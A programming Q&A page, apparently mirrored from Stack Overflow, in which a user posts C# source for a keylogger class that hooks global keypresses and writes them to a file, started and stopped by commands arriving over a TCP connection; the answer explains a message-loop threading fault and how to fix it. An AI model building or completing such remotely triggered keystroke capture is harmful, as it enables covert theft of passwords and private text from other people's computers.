Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 6161475
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 23, 20262026-05-23T21:29:09+00:00 2026-05-23T21:29:09+00:00

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx I’ve downloaded it and compiled it to DLL. At

  • 0

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx

I’ve downloaded it and compiled it to DLL.
At first I had a weird problem that it haven’t worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:

http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx

Note: I’m working with .NET 4, VS 2010 Ultimate

Well, I have a file Form1.cs, which is my main form for my app.

I have other files: Client.cs, Script.cs, Keylogger.cs – no, it’s not an evil keylogger – It’s for a school presentation about security\antiviruses etc.

Keylogger.cs has one static class and here’s the code:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

The Client class isn’t static – it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).

Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)

And invoke Keylogger.Stop() for some input (STOPLOGGING)

Well, everything is good, it invokes Start, but it doesn’t work.

It does the whole process, (timer, event, streamwriter etc) but when I press something – the whole computer freeze for a couple of seconds and nothing happened (it doesn’t even invoke KeyPress) – it happens only the first time. any other time – it simply ignores my keypress.

THE FUNNY THING IS – if I call Start from my mainform (in the ctor, on a button click event) – IT DOES WORK ! without any lag.

I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.

Thank you, Mark !

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-23T21:29:10+00:00Added an answer on May 23, 2026 at 9:29 pm

    The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn’t being responsive. It automatically disables the hook.

    The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.

    But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn’t clear from your snippet, you didn’t post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You’ll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com

    Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn’t matter since this is not a global hook.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have this website i need to parse for an android app. http://www.wow-coupons.com/rss_online_coupons.xml I
I have a managed dll that calls into a native library. This native library
I would like to do some functionality like this app for iphone: http://www.ezraschartbooks.com/Site/Home.html I
I stumbled across this youtube video here http://www.youtube.com/watch?v=Ha5LficiSJM that demonstrates someone doing color detection
I'm almost done with this online library: http://gramma.ro I have grade C in YSlow
I have this html file with a conditional comment. <html xmlns=http://www.w3.org/1999/xhtml> <head> <meta http-equiv=Content-Type
I have this small code library that I'm considering releasing into Open Source. I
I have an ActionScript 2.0 file that contains a small library. This library parses
I have got this error when using Enterprise Library 3.1 May 2007 version. We
Since I have started using this site, I keep hearing about the Boost library.

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.